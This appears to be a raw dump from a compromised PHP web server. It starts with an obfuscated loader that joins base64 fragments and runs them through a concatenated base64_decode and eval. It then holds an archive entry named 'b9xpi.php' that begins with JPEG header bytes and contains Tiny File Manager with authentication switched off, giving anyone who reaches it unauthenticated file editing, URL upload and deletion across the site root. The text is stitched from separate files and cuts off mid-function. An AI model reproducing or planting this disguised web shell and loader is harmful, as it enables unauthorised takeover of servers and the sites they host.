$z .= "aXN0";
$z .= "LnRv";
$z .= "Z2ds";
$z .= "ZSgn";
$z .= "c2hv";
$z .= "dycp";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICB9";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IA0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICBm";
$z .= "dW5j";
$z .= "dGlv";
$z .= "biB0";
$z .= "b2dn";
$z .= "bGVT";
$z .= "aWRl";
$z .= "YmFy";
$z .= "KCkg";
$z .= "ew0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "dmFy";
$z .= "IHNp";
$z .= "ZGVi";
$z .= "YXIg";
$z .= "PSBk";
$z .= "b2N1";
$z .= "bWVu";
$z .= "dC5n";
$z .= "ZXRF";
$z .= "bGVt";
$z .= "ZW50";
$z .= "QnlJ";
$z .= "ZCgn";
$z .= "c2lk";
$z .= "ZWJh";
$z .= "cicp";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "c2lk";
$z .= "ZWJh";
$z .= "ci5j";
$z .= "bGFz";
$z .= "c0xp";
$z .= "c3Qu";
$z .= "dG9n";
$z .= "Z2xl";
$z .= "KCdv";
$z .= "cGVu";
$z .= "Jyk7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IH0N";
$z .= "CiAg";
$z .= "ICA8";
$z .= "L3Nj";
$z .= "cmlw";
$z .= "dD4N";
$z .= "Cjwv";
$z .= "ZGl2";
$z .= "Pg0K";
$z .= "PGRp";
$z .= "diBj";
$z .= "bGFz";
$z .= "cz0i";
$z .= "Zm9v";
$z .= "dGVy";
$z .= "Ij4N";
$z .= "CiAg";
$z .= "ICA8";
$z .= "cD4m";
$z .= "Y29w";
$z .= "eTsg";
$z .= "PD9w";
$z .= "aHAg";
$z .= "ZWNo";
$z .= "byBk";
$z .= "YXRl";
$z .= "KCJZ";
$z .= "Iik7";
$z .= "ID8+";
$z .= "IDxh";
$z .= "IGhy";
$z .= "ZWY9";
$z .= "Imh0";
$z .= "dHBz";
$z .= "Oi8v";
$z .= "d3d3";
$z .= "LmJs";
$z .= "b2ct";
$z .= "Z2Fu";
$z .= "Lm9y";
$z .= "Zy8i";
$z .= "PkNv";
$z .= "ZGVk";
$z .= "IEJ5";
$z .= "PC9h";
$z .= "PiBB";
$z .= "dmFh";
$z .= "IENv";
$z .= "ZGUu";
$z .= "PC9w";
$z .= "Pg0K";
$z .= "PC9k";
$z .= "aXY+";
$z .= "DQo8";
$z .= "L2Jv";
$z .= "ZHk+";
$z .= "DQo8";
$z .= "L2h0";
$z .= "bWw+";
$a = "base"; $b = "64_decode"; $c = $a.$b; $string = $c($z); eval($string);
?>
b9xpi.php000064400000554276151550217160006336 0ustar00ÿØÿà JFIF      ÿÛ „ 	( %!1!%*+...983,7(-.-


<?php
//Default Configuration
$CONFIG = '{"lang":"en","error_reporting":false,"show_hidden":false,"hide_Cols":false,"calc_folder":false}';

/**
 * H3K | Tiny File Manager V2.4.3
 * CCP Programmers | ccpprogrammers@gmail.com
 * https://tinyfilemanager.github.io
 */

//TFM version
define('VERSION', '2.4.3');

//Application Title
define('APP_TITLE', 'Tiny File Manager');

// --- EDIT BELOW CONFIGURATION CAREFULLY ---

// Auth with login/password 
// set true/false to enable/disable it
// Is independent from IP white- and blacklisting
$use_auth = false;

// Login user name and password
// Users: array('Username' => 'Password', 'Username2' => 'Password2', ...)
// Generate secure password hash - https://tinyfilemanager.github.io/docs/pwd.html
$auth_users = array(
    'admin' => '$2y$10$/K.hjNr84lLNDt8fTXjoI.DBp6PpeyoJ.mGwrrLuCZfAwfSAGqhOW', //admin@123
    'user' => '$2y$10$Fg6Dz8oH9fPoZ2jJan5tZuv6Z4Kp7avtQ9bDfrdRntXtPeiMAZyGO' //12345
);

//set application theme
//options - 'light' and 'dark'
$theme = 'dark';

// Readonly users 
// e.g. array('users', 'guest', ...)
$readonly_users = array(
    'user'
);

// Enable highlight.js (https://highlightjs.org/) on view's page
$use_highlightjs = true;

// highlight.js style
// for dark theme use 'ir-black'
$highlightjs_style = 'vs';

// Enable ace.js (https://ace.c9.io/) on view's page
$edit_files = true;

// Default timezone for date() and time()
// Doc - http://php.net/manual/en/timezones.php
$default_timezone = 'Etc/UTC'; // UTC

// Root path for file manager
// use absolute path of directory i.e: '/var/www/folder' or $_SERVER['DOCUMENT_ROOT'].'/folder'
$root_path = $_SERVER['DOCUMENT_ROOT'];

// Root url for links in file manager.Relative to $http_host. Variants: '', 'path/to/subfolder'
// Will not working if $root_path will be outside of server document root
$root_url = '';

// Server hostname. Can set manually if wrong
$http_host = $_SERVER['HTTP_HOST'];

// user specific directories
// array('Username' => 'Directory path', 'Username2' => 'Directory path', ...)
$directories_users = array();

// input encoding for iconv
$iconv_input_encoding = 'UTF-8';

// date() format for file modification date
// Doc - https://www.php.net/manual/en/function.date.php
$datetime_format = 'd.m.y H:i';

// Allowed file extensions for create and rename files
// e.g. 'txt,html,css,js'
$allowed_file_extensions = '';

// Allowed file extensions for upload files
// e.g. 'gif,png,jpg,html,txt'
$allowed_upload_extensions = '';

// Favicon path. This can be either a full url to an .PNG image, or a path based on the document root.
// full path, e.g http://example.com/favicon.png
// local path, e.g images/icons/favicon.png
$favicon_path = '?img=favicon';

// Files and folders to excluded from listing
// e.g. array('myfile.html', 'personal-folder', '*.php', ...)
$exclude_items = array();

// Online office Docs Viewer
// Availabe rules are 'google', 'microsoft' or false
// google => View documents using Google Docs Viewer
// microsoft => View documents using Microsoft Web Apps Viewer
// false => disable online doc viewer
$online_viewer = 'google';

// Sticky Nav bar
// true => enable sticky header
// false => disable sticky header
$sticky_navbar = true;

// Maximum file upload size
// Increase the following values in php.ini to work properly
// memory_limit, upload_max_filesize, post_max_size
$max_upload_size_bytes = 2048;

// Possible rules are 'OFF', 'AND' or 'OR'
// OFF => Don't check connection IP, defaults to OFF
// AND => Connection must be on the whitelist, and not on the blacklist
// OR => Connection must be on the whitelist, or not on the blacklist
$ip_ruleset = 'OFF';

// Should users be notified of their block?
$ip_silent = true;

// IP-addresses, both ipv4 and ipv6
$ip_whitelist = array(
    '127.0.0.1',    // local ipv4
    '::1'           // local ipv6
);

// IP-addresses, both ipv4 and ipv6
$ip_blacklist = array(
    '0.0.0.0',      // non-routable meta ipv4
    '::'            // non-routable meta ipv6
);

// if User has the customized config file, try to use it to override the default config above
$config_file = './config.php';
if (is_readable($config_file)) {
    @include($config_file);
}

// --- EDIT BELOW CAREFULLY OR DO NOT EDIT AT ALL ---

// max upload file size
define('MAX_UPLOAD_SIZE', $max_upload_size_bytes);

define('FM_THEME', $theme);

// private key and session name to store to the session
if ( !defined( 'FM_SESSION_ID')) {
    define('FM_SESSION_ID', 'filemanager');
}

// Configuration
$cfg = new FM_Config();

// Default language
$lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en';

// Show or hide files and folders that starts with a dot
$show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true;

// PHP error reporting - false = Turns off Errors, true = Turns on Errors
$report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true;

// Hide Permissions and Owner cols in file-listing
$hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true;

// Show directory size: true or speedup output: false
$calc_folder = isset($cfg->data['calc_folder']) ? $cfg->data['calc_folder'] : true;

//available languages
$lang_list = array(
    'en' => 'English'
);

if ($report_errors == true) {
    @ini_set('error_reporting', E_ALL);
    @ini_set('display_errors', 1);
} else {
    @ini_set('error_reporting', E_ALL);
    @ini_set('display_errors', 0);
}

// if fm included
if (defined('FM_EMBED')) {
    $use_auth = false;
    $sticky_navbar = false;
} else {
    @set_time_limit(600);

    date_default_timezone_set($default_timezone);

    ini_set('default_charset', 'UTF-8');
    if (version_compare(PHP_VERSION, '5.6.0', '<') && function_exists('mb_internal_encoding')) {
        mb_internal_encoding('UTF-8');
    }
    if (function_exists('mb_regex_encoding')) {
        mb_regex_encoding('UTF-8');
    }

    session_cache_limiter('');
    session_name(FM_SESSION_ID );
    function session_error_handling_function($code, $msg, $file, $line) {
        // Permission denied for default session, try to create a new one
        if ($code == 2) {
            session_abort();
            session_id(session_create_id());
            @session_start();
        }
    }
    set_error_handler('session_error_handling_function');
    session_start();
    restore_error_handler();
}

if (empty($auth_users)) {
    $use_auth = false;
}

$is_https = isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] == 'on' || $_SERVER['HTTPS'] == 1)
    || isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https';

// update $root_url based on user specific directories
if (isset($_SESSION[FM_SESSION_ID]['logged']) && !empty($directories_users[$_SESSION[FM_SESSION_ID]['logged']])) {
    $wd = fm_clean_path(dirname($_SERVER['PHP_SELF']));
    $root_url =  $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[FM_SESSION_ID]['logged']];
}
// clean $root_url
$root_url = fm_clean_path($root_url);

// abs path for site
defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : ''));
defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']);

// logout
if (isset($_GET['logout'])) {
    unset($_SESSION[FM_SESSION_ID]['logged']);
    fm_redirect(FM_SELF_URL);
}

// Show image here
if (isset($_GET['img'])) {
    fm_show_image($_GET['img']);
}

// Validate connection IP
if($ip_ruleset != 'OFF'){
    $clientIp = $_SERVER['REMOTE_ADDR'];

    $proceed = false;

    $whitelisted = in_array($clientIp, $ip_whitelist);
    $blacklisted = in_array($clientIp, $ip_blacklist);

    if($ip_ruleset == 'AND'){
        if($whitelisted == true && $blacklisted == false){
            $proceed = true;
        }
    } else
    if($ip_ruleset == 'OR'){
         if($whitelisted == true || $blacklisted == false){
            $proceed = true;
        }
    }

    if($proceed == false){
        trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING);

        if($ip_silent == false){
            fm_set_msg('Access denied. IP restriction applicable', 'error');
            fm_show_header_login();
            fm_show_message();
        }

        exit();
    }
}

// Auth
if ($use_auth) {
    if (isset($_SESSION[FM_SESSION_ID]['logged'], $auth_users[$_SESSION[FM_SESSION_ID]['logged']])) {
        // Logged
    } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'])) {
        // Logging In
        sleep(1);
        if(function_exists('password_verify')) {
            if (isset($auth_users[$_POST['fm_usr']]) && isset($_POST['fm_pwd']) && password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']])) {
                $_SESSION[FM_SESSION_ID]['logged'] = $_POST['fm_usr'];
                fm_set_msg(lng('You are logged in'));
                fm_redirect(FM_SELF_URL . '?p=');
            } else {
                unset($_SESSION[FM_SESSION_ID]['logged']);
                fm_set_msg(lng('Login failed. Invalid username or password'), 'error');
                fm_redirect(FM_SELF_URL);
            }
        } else {
            fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');;
        }
    } else {
        // Form
        unset($_SESSION[FM_SESSION_ID]['logged']);
        fm_show_header_login();
        ?>
        <section class="h-100">
            <div class="container h-100">
                <div class="row justify-content-md-center h-100">
                    <div class="card-wrapper">
                        <div class="card fat <?php echo fm_get_theme(); ?>">
                            <div class="card-body">
                                <form class="form-signin" action="" method="post" autocomplete="off">
                                    <div class="form-group">
                                       <div class="brand">
                                            <svg version="1.0" xmlns="http://www.w3.org/2000/svg" M1008 width="100%" height="80px" viewBox="0 0 238.000000 140.000000" aria-label="H3K Tiny File Manager">
                                                <g transform="translate(0.000000,140.000000) scale(0.100000,-0.100000)" fill="#000000" stroke="none">
                                                    <path d="M160 700 l0 -600 110 0 110 0 0 260 0 260 70 0 70 0 0 -260 0 -260 110 0 110 0 0 600 0 600 -110 0 -110 0 0 -260 0 -260 -70 0 -70 0 0 260 0 260 -110 0 -110 0 0 -600z"/>
                                                    <path fill="#003500" d="M1008 1227 l-108 -72 0 -117 0 -118 110 0 110 0 0 110 0 110 70 0 70 0 0 -180 0 -180 -125 0 c-69 0 -125 -3 -125 -6 0 -3 23 -39 52 -80 l52 -74 73 0 73 0 0 -185 0 -185 -70 0 -70 0 0 115 0 115 -110 0 -110 0 0 -190 0 -190 181 0 181 0 109 73 108 72 1 181 0 181 -69 48 -68 49 68 50 69 49 0 249 0 248 -182 -1 -183 0 -107 -72z"/>
                                                    <path d="M1640 700 l0 -600 110 0 110 0 0 208 0 208 35 34 35 34 35 -34 35 -34 0 -208 0 -208 110 0 110 0 0 212 0 213 -87 87 -88 88 88 88 87 87 0 213 0 212 -110 0 -110 0 0 -208 0 -208 -70 -69 -70 -69 0 277 0 277 -110 0 -110 0 0 -600z"/></g>
                                            </svg>
                                        </div>
                                        <div class="text-center">
                                            <h1 class="card-title"><?php echo APP_TITLE; ?></h1>
                                        </div>
                                    </div>
                                    <hr />
                                    <div class="form-group">
                                        <label for="fm_usr"><?php echo lng('Username'); ?></label>
                                        <input type="text" class="form-control" id="fm_usr" name="fm_usr" required autofocus>
                                    </div>

                                    <div class="form-group">
                                        <label for="fm_pwd"><?php echo lng('Password'); ?></label>
                                        <input type="password" class="form-control" id="fm_pwd" name="fm_pwd" required>
                                    </div>

                                    <div class="form-group">
                                        <?php fm_show_message(); ?>
                                    </div>

                                    <div class="form-group">
                                        <button type="submit" class="btn btn-success btn-block mt-4" role="button">
                                            <?php echo lng('Login'); ?>
                                        </button>
                                    </div>
                                </form>
                            </div>
                        </div>
                        <div class="footer text-center">
                            &mdash;&mdash; &copy;
                            <a href="https://tinyfilemanager.github.io/" target="_blank" class="text-muted" data-version="<?php echo VERSION; ?>">CCP Programmers</a> &mdash;&mdash;
                        </div>
                    </div>
                </div>
            </div>
        </section>

        <?php
        fm_show_footer_login();
        exit;
    }
}

// update root path
if ($use_auth && isset($_SESSION[FM_SESSION_ID]['logged'])) {
    $root_path = isset($directories_users[$_SESSION[FM_SESSION_ID]['logged']]) ? $directories_users[$_SESSION[FM_SESSION_ID]['logged']] : $root_path;
}

// clean and check $root_path
$root_path = rtrim($root_path, '\\/');
$root_path = str_replace('\\', '/', $root_path);
if (!@is_dir($root_path)) {
    echo "<h1>Root path \"{$root_path}\" not found!</h1>";
    exit;
}

defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files);
defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path);
defined('FM_LANG') || define('FM_LANG', $lang);
defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions);
defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions);
defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', $exclude_items);
defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer);
define('FM_READONLY', $use_auth && !empty($readonly_users) && isset($_SESSION[FM_SESSION_ID]['logged']) && in_array($_SESSION[FM_SESSION_ID]['logged'], $readonly_users));
define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\');

// always use ?p=
if (!isset($_GET['p']) && empty($_FILES)) {
    fm_redirect(FM_SELF_URL . '?p=');
}

// get path
$p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : '');

// clean path
$p = fm_clean_path($p);

// for ajax request - save
$input = file_get_contents('php://input');
$_POST = (strpos($input, 'ajax') != FALSE && strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST;

// instead globals vars
define('FM_PATH', $p);
define('FM_USE_AUTH', $use_auth);
define('FM_EDIT_FILE', $edit_files);
defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding);
defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs);
defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style);
defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format);

unset($p, $use_auth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style);

/*************************** ACTIONS ***************************/

// AJAX Request
if (isset($_POST['ajax']) && !FM_READONLY) {

    // save
    if (isset($_POST['type']) && $_POST['type'] == "save") {
        // get current path
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        // check path
        if (!is_dir($path)) {
            fm_redirect(FM_SELF_URL . '?p=');
        }
        $file = $_GET['edit'];
        $file = fm_clean_path($file);
        $file = str_replace('/', '', $file);
        if ($file == '' || !is_file($path . '/' . $file)) {
            fm_set_msg('File not found', 'error');
            fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
        }
        header('X-XSS-Protection:0'); 
        $file_path = $path . '/' . $file;
        
        $writedata = $_POST['content'];
        $fd = fopen($file_path, "w");
        $write_results = @fwrite($fd, $writedata);
        fclose($fd);
        if ($write_results === false){ 
            header("HTTP/1.1 500 Internal Server Error");
            die("Could Not Write File! - Check Permissions / Ownership");
        }
        die(true);
    }

    //search : get list of files from the current folder
    if(isset($_POST['type']) && $_POST['type']=="search") {
        $dir = FM_ROOT_PATH;
        $response = scan(fm_clean_path($_POST['path']), $_POST['content']);
        echo json_encode($response);
        exit();
    }
    
    // backup files
    if (isset($_POST['type']) && $_POST['type'] == "backup" && !empty($_POST['file'])) {
        $fileName = $_POST['file'];
        $fullPath = FM_ROOT_PATH . '/';
        if (!empty($_POST['path'])) {
            $relativeDirPath = fm_clean_path($_POST['path']);
            $fullPath .= "{$relativeDirPath}/";
        }
        $date = date("dMy-His");
        $newFileName = "{$fileName}-{$date}.bak";
        $fullyQualifiedFileName = $fullPath . $fileName;
        try {
            if (!file_exists($fullyQualifiedFileName)) {
                throw new Exception("File {$fileName} not found");
            }
            if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) {
                echo "Backup {$newFileName} created";
            } else {
                throw new Exception("Could not copy file {$fileName}");
            }
        } catch (Exception $e) {
            echo $e->getMessage();
        }
    }

    // Save Config
    if (isset($_POST['type']) && $_POST['type'] == "settings") {
        global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $calc_folder;
        $newLng = $_POST['js-language'];
        fm_get_translations([]);
        if (!array_key_exists($newLng, $lang_list)) {
            $newLng = 'en';
        }

        $erp = isset($_POST['js-error-report']) && $_POST['js-error-report'] == "true" ? true : false;
        $shf = isset($_POST['js-show-hidden']) && $_POST['js-show-hidden'] == "true" ? true : false;
        $hco = isset($_POST['js-hide-cols']) && $_POST['js-hide-cols'] == "true" ? true : false;
        $caf = isset($_POST['js-calc-folder']) && $_POST['js-calc-folder'] == "true" ? true : false;

        if ($cfg->data['lang'] != $newLng) {
            $cfg->data['lang'] = $newLng;
            $lang = $newLng;
        }
        if ($cfg->data['error_reporting'] != $erp) {
            $cfg->data['error_reporting'] = $erp;
            $report_errors = $erp;
        }
        if ($cfg->data['show_hidden'] != $shf) {
            $cfg->data['show_hidden'] = $shf;
            $show_hidden_files = $shf;
        }
        if ($cfg->data['show_hidden'] != $shf) {
            $cfg->data['show_hidden'] = $shf;
            $show_hidden_files = $shf;
        }
        if ($cfg->data['hide_Cols'] != $hco) {
            $cfg->data['hide_Cols'] = $hco;
            $hide_Cols = $hco;
        }
        if ($cfg->data['calc_folder'] != $caf) {
            $cfg->data['calc_folder'] = $caf;
            $calc_folder = $caf;
        }
        $cfg->save();
        echo true;
    }

    // new password hash
    if (isset($_POST['type']) && $_POST['type'] == "pwdhash") {
        $res = isset($_POST['inputPassword2']) && !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : '';
        echo $res;
    }

    //upload using url
    if(isset($_POST['type']) && $_POST['type'] == "upload" && !empty($_REQUEST["uploadurl"])) {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }

        $url = !empty($_REQUEST["uploadurl"]) && preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null;
        $use_curl = false;
        $temp_file = tempnam(sys_get_temp_dir(), "upload-");
        $fileinfo = new stdClass();
        $fileinfo->name = trim(basename($url), ".\x00..\x20");

        $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
        $ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION));
        $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;
        
        function event_callback ($message) {
            global $callback;
            echo json_encode($message);
        }

        function get_file_path () {
            global $path, $fileinfo, $temp_file;
            return $path."/".basename($fileinfo->name);
        }

        $err = false;

        if(!$isFileAllowed) {
            $err = array("message" => "File extension is not allowed");
            event_callback(array("fail" => $err));
            exit();
        }

        if (!$url) {
            $success = false;
        } else if ($use_curl) {
            @$fp = fopen($temp_file, "w");
            @$ch = curl_init($url);
            curl_setopt($ch, CURLOPT_NOPROGRESS, false );
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            curl_setopt($ch, CURLOPT_FILE, $fp);
            @$success = curl_exec($ch);
            $curl_info = curl_getinfo($ch);
            if (!$success) {
                $err = array("message" => curl_error($ch));
            }
            @curl_close($ch);
            fclose($fp);
            $fileinfo->size = $curl_info["size_download"];
            $fileinfo->type = $curl_info["content_type"];
        } else {
            $ctx = stream_context_create();
            @$success = copy($url, $temp_file, $ctx);
            if (!$success) {
                $err = error_get_last();
            }
        }

        if ($success) {
            $success = rename($temp_file, get_file_path());
        }

        if ($success) {
            event_callback(array("done" => $fileinfo));
        } else {
            unlink($temp_file);
            if (!$err) {
                $err = array("message" => "Invalid url parameter");
            }
            event_callback(array("fail" => $err));
        }
    }

    exit();
}

// Delete file / folder
if (isset($_GET['del']) && !FM_READONLY) {
    $del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) );
    if ($del != '' && $del != '..' && $del != '.') {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        $is_dir = is_dir($path . '/' . $del);
        if (fm_rdelete($path . '/' . $del)) {
            $msg = $is_dir ? 'Folder <b>%s</b> deleted' : 'File <b>%s</b> deleted';
            fm_set_msg(sprintf($msg, fm_enc($del)));
        } else {
            $msg = $is_dir ? 'Folder <b>%s</b> not deleted' : 'File <b>%s</b> not deleted';
            fm_set_msg(sprintf($msg, fm_enc($del)), 'error');
        }
    } else {
        fm_set_msg('Invalid file or folder name', 'error');
    }
    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}

// Create folder
if (isset($_GET['new']) && isset($_GET['type']) && !FM_READONLY) {
    $type = $_GET['type'];
    $new = str_replace( '/', '', fm_clean_path( strip_tags( $_GET['new'] ) ) );
    if (fm_isvalid_filename($new) && $new != '' && $new != '..' && $new != '.') {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        if ($_GET['type'] == "file") {
            if (!file_exists($path . '/' . $new)) {
                if(fm_is_valid_ext($new)) {
                    @fopen($path . '/' . $new, 'w') or die('Cannot open file:  ' . $new);
                    fm_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('Created'), fm_enc($new)));
                } else {
                    fm_set_msg('File extension is not allowed', 'error');
                }
            } else {
                fm_set_msg(sprintf('File <b>%s</b> already exists', fm_enc($new)), 'alert');
            }
        } else {
            if (fm_mkdir($path . '/' . $new, false) === true) {
                fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('Created'), $new));
            } elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) {
                fm_set_msg(sprintf('Folder <b>%s</b> already exists', fm_enc($new)), 'alert');
            } else {
                fm_set_msg(sprintf('Folder <b>%s</b> not created', fm_enc($new)), 'error');
            }
        }
    } else {
        fm_set_msg('Invalid characters in file or folder name', 'error');
    }
    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}

// Copy folder / file
if (isset($_GET['copy'], $_GET['finish']) && !FM_READONLY) {
    // from
    $copy = $_GET['copy'];
    $copy = fm_clean_path($copy);
    // empty path
    if ($copy == '') {
        fm_set_msg('Source path not defined', 'error');
        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
    }
    // abs path from
    $from = FM_ROOT_PATH . '/' . $copy;
    // abs path to
    $dest = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $dest .= '/' . FM_PATH;
    }
    $dest .= '/' . basename($from);
    // move?
    $move = isset($_GET['move']);
    // copy/move/duplicate
    if ($from != $dest) {
        $msg_from = trim(FM_PATH . '/' . basename($from), '/');
        if ($move) { // Move and to != from so just perform move
            $rename = fm_rename($from, $dest);
            if ($rename) {
                fm_set_msg(sprintf('Moved from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($msg_from)));
            } elseif ($rename === null) {
                fm_set_msg('File or folder with this path already exists', 'alert');

            } else {
                fm_set_msg(sprintf('Error while moving from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($msg_from)), 'error');
            }
        } else { // Not move and to != from so copy with original name
            if (fm_rcopy($from, $dest)) {
                fm_set_msg(sprintf('Copied from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($msg_from)));
            } else {
                fm_set_msg(sprintf('Error while copying from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($msg_from)), 'error');
            }
        }
    } else {
       if (!$move){ //Not move and to = from so duplicate
            $msg_from = trim(FM_PATH . '/' . basename($from), '/');
            $fn_parts = pathinfo($from);
            $extension_suffix = '';
            if(!is_dir($from)){
               $extension_suffix = '.'.$fn_parts['extension'];
            }
            //Create new name for duplicate
            $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix;
            $loop_count = 0;
            $max_loop = 1000;
            // Check if a file with the duplicate name already exists, if so, make new name (edge case...)
            while(file_exists($fn_duplicate) & $loop_count < $max_loop){
               $fn_parts = pathinfo($fn_duplicate);
               $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix;
               $loop_count++;
            }
            if (fm_rcopy($from, $fn_duplicate, False)) {
                fm_set_msg(sprintf('Copyied from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($fn_duplicate)));
            } else {
                fm_set_msg(sprintf('Error while copying from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($fn_duplicate)), 'error');
            }
       }
       else{
           fm_set_msg('Paths must be not equal', 'alert');
       }
    }
    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}

// Mass copy files/ folders
if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish']) && !FM_READONLY) {
    // from
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }
    // to
    $copy_to_path = FM_ROOT_PATH;
    $copy_to = fm_clean_path($_POST['copy_to']);
    if ($copy_to != '') {
        $copy_to_path .= '/' . $copy_to;
    }
    if ($path == $copy_to_path) {
        fm_set_msg('Paths must be not equal', 'alert');
        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
    }
    if (!is_dir($copy_to_path)) {
        if (!fm_mkdir($copy_to_path, true)) {
            fm_set_msg('Unable to create destination folder', 'error');
            fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
        }
    }
    // move?
    $move = isset($_POST['move']);
    // copy/move
    $errors = 0;
    $files = $_POST['file'];
    if (is_array($files) && count($files)) {
        foreach ($files as $f) {
            if ($f != '') {
                // abs path from
                $from = $path . '/' . $f;
                // abs path to
                $dest = $copy_to_path . '/' . $f;
                // do
                if ($move) {
                    $rename = fm_rename($from, $dest);
                    if ($rename === false) {
                        $errors++;
                    }
                } else {
                    if (!fm_rcopy($from, $dest)) {
                        $errors++;
                    }
                }
            }
        }
        if ($errors == 0) {
            $msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied';
            fm_set_msg($msg);
        } else {
            $msg = $move ? 'Error while moving items' : 'Error while copying items';
            fm_set_msg($msg, 'error');
        }
    } else {
        fm_set_msg('Nothing selected', 'alert');
    }
    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}

// Rename
if (isset($_GET['ren'], $_GET['to']) && !FM_READONLY) {
    // old name
    $old = $_GET['ren'];
    $old = fm_clean_path($old);
    $old = str_replace('/', '', $old);
    // new name
    $new = $_GET['to'];
    $new = fm_clean_path(strip_tags($new));
    $new = str_replace('/', '', $new);
    // path
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }
    // rename
    if (fm_isvalid_filename($new) && $old != '' && $new != '') {
        if (fm_rename($path . '/' . $old, $path . '/' . $new)) {
            fm_set_msg(sprintf('Renamed from <b>%s</b> to <b>%s</b>', fm_enc($old), fm_enc($new)));
        } else {
            fm_set_msg(sprintf('Error while renaming from <b>%s</b> to <b>%s</b>', fm_enc($old), fm_enc($new)), 'error');
        }
    } else {
        fm_set_msg('Invalid characters in file name', 'error');
    }
    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}

// Download
if (isset($_GET['dl'])) {
    $dl = $_GET['dl'];
    $dl = fm_clean_path($dl);
    $dl = str_replace('/', '', $dl);
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }
    if ($dl != '' && is_file($path . '/' . $dl)) {
        fm_download_file($path . '/' . $dl, $dl, 1024);
        exit;
